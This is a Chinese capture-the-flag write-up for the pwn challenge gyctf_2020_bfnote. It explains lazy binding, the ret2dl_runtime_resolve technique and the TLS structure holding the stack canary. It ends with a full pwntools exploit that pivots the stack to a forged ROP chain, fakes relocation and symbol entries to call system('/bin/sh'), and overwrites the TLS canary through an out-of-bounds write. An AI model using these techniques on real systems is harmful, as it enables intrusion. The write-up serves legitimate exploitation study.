BUUCTF-PWN gyctf_2020_bfnote(劫持TLS结构,ret2_dl_runtime_resolve)

程序分析

在这里插入图片描述
一道带有canary的栈溢出题目

main函数是吧ebp-4中存放地址再减四获得的

在这里插入图片描述
调试结果如下
在这里插入图片描述
我们把这里的地址改为bss+gap+4,并在bss+gap的地址放入我们的ROP链即可(这里需要留出一段空间防止执行某些函数时rsp减小而修改了got表变量)
在这里插入图片描述

背景知识

延迟绑定

本题需要利用ret2al_runtime_resolve,涉及到延迟绑定的技术,简单介绍一下函数绑定的过程,以atol的调用为例
我们看一下第一次调用程序atol,此时atol_got存放着atol@plt+6的地址
在这里插入图片描述
程序把0x40压入栈之后,跳到了0x08048450
在这里插入图片描述
该函数把一个东西压入栈,然后跳向0x0804a008存放的地址
在这里插入图片描述
而这个地址中存放的就是_dl_runtime_resolve的地址
在这里插入图片描述
之后就会在Libc中找到该函数并把它放入atol_got中
大致流程就是这样,下面介绍两个在该过程中涉及的结构体
符号表.dynsym节,它是一个结构体Elf32_Sym数组,定义如下

typedef struct
{
  Elf32_Word    st_name; //st_name指向的是函数名称在.dynstr表中的偏移
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //对于导入函数符号而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

重定位表.rel.plt为一个Elf32_Rel数组,定义如下

typedef struct {
    Elf32_Addr        r_offset;//got表地址,即函数地址写入的位置,
    Elf32_Word       r_info;//r_info>>8表示该函数对应在符号表.dynsym中的下标,r_info&0xff则表示重定位类型,本题需要r_info&0xff为0x7,因为类型需为ELF_MACHINE_JMP_SLOT以绕过类型验证
} Elf32_Rel;

回到atol第一次执行的时候
程序把0x40压入栈,这实际上是对应的Rel与.dynrel的相对偏移,之后入栈的0x0804a004为link_map,程序先从第一个参数link_map获取字符串表.dynstr、符号表.dynsym以及重定位表.rel.plt的地址,通过参数0x40即.rel.plt表中的偏移加上.rel.plt的地址获取函数atol对应的重定位结构Elf32_Rel的位置,从而获取函数对应的r_offset以及在符号表中的下标r_info>>8。根据符号表地址以及下标获取符号结构体,获得了函数符号表中的st_name,即函数名相对于字符串表.dynstr的偏移。然后去libc中匹配函数名并把函数地址填回到r_offset即函数got表中。

Canary

在linux下,有一种线程局部存储(Thread Local Storage)机制,简称TLS。它主要存储着一个线程的一些全局变量。它的结构如下

typedef struct {   
void *tcb;        /* Pointer to the TCB.  Not necessarily the thread descriptor used by libpthread.  */   
dtv_t *dtv;   
void *self;       /* Pointer to the thread descriptor.  */   
int multiple_threads;   
int gscope_flag;   
uintptr_t sysinfo;   
uintptr_t stack_guard;   
uintptr_t pointer_guard;   
... } tcbhead_t;

其中stack_guard就是canary
而我们获取canary就是从gs寄存器偏移0x14的地址取得,而从上面结构体可以看出stack_guard正好位于结构体偏移0x14的地方
在这里插入图片描述
在peda下使用tls命令可以获得tls结构的地址,可以发现它位于libc中,而如果我们使用mmap进行内存分配(本题没有大小限制),就能获得一块在libc上面的内存,比如下图的0xf7d01000-f7d23000就是mmap给我们的地址
在这里插入图片描述

漏洞利用

本题需要伪造rel和sym结构

typedef struct
{
  Elf32_Word    st_name = bss_start + gap + 0x4 * 4 + 0x8 - 0x80482C8//(system字符串地址偏移)
  Elf32_Addr    st_value = 0
  Elf32_Word    st_size = 0
  unsigned char st_info = '\x12'
  unsigned char st_other = 0
  Elf32_Section st_shndx = 0
}Elf32_Sym;

typedef struct {
    Elf32_Addr        r_offset = bss_start
    Elf32_Word       r_info = 0x7 + int((bss_start + gap + 0x4 * 4 + 0x8 + 0x8 + 0x8 - 0x080481D8) / 0x10) * 0x100
} Elf32_Rel;

0x80482c8 为上面提到的字符串表.dynstr
在这里插入图片描述

0x080481D8为符号表.dynsym
在这里插入图片描述
0x080483D0为.rel.plt表,可以看到偏移为0x40处为atol
在这里插入图片描述
跳转的栈(ROP链)安排如下
在这里插入图片描述
本题中,v3是调用malloc获得的地址,我们可以对v3偏移v4+16的地址写入数据,然后v4我们可以任意指定,这就意味着我们能进行一次任意内存写(注意看程序逻辑,i才是被限制在v3范围内的),我们就利用这个漏洞把tls结构中的canary换成我们指定的即可
在这里插入图片描述
在本次调试中,我们申请了一个0x20000大小的块,canary位于0xf7d22714,而v3(即我们获得的)的地址是0xf7d01008,他们之间的偏移0x2170c是固定的
在这里插入图片描述

Exp

from pwn import *

#r = remote("node3.buuoj.cn", 25749)
r = process("./gyctf_2020_bfnote")


elf = ELF("./gyctf_2020_bfnote")
libc = ELF('./libc/libc-2.23_32.so')
bss_start = 0x0804A060
gap = 0x500
stack_overflow = 'a' * (0x3e - 0xc + 0x8) + p64(bss_start + gap + 0x4)
 
r.recvuntil('Give your description : ')
r.send(stack_overflow)

r.recvuntil('Give your postscript : ')


fake_sym = p32(bss_start + gap + 0x4 * 4 + 0x8 - 0x80482C8) + p32(0) + p32(0) + p32(0x12)
fake_rel = p32(bss_start) + p32(0x7 + int((bss_start + gap + 0x4 * 4 + 0x8 + 0x8 + 0x8 - 0x080481D8) / 0x10) * 0x100)
r.send('\x00' * gap + p32(0x08048450) + p32(bss_start + gap + 0x4 * 4 + 0x8 * 2 - 0x080483D0) + p32(0) + p32(bss_start + gap + 0x4 * 4) + '/bin/sh\x00' + 'system\x00\x00' + fake_rel + fake_sym)

r.recvuntil('Give your notebook size : ')
r.send(str(0x20000))


r.recvuntil('Give your title size : ')
r.send(str(0xf7d22714 - 0xf7d01008 - 16))

r.recvuntil('invalid ! please re-enter :\n')
r.send(str(4))

r.recvuntil('Give your title : ')
r.send('a')

r.recvuntil('Give your note : ')
r.send('aaaa')

r.interactive()

附上两篇参考文章

  1. GYCTF 2020-BFnote题目分析
  2. ret2dl_resolve解析

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105598660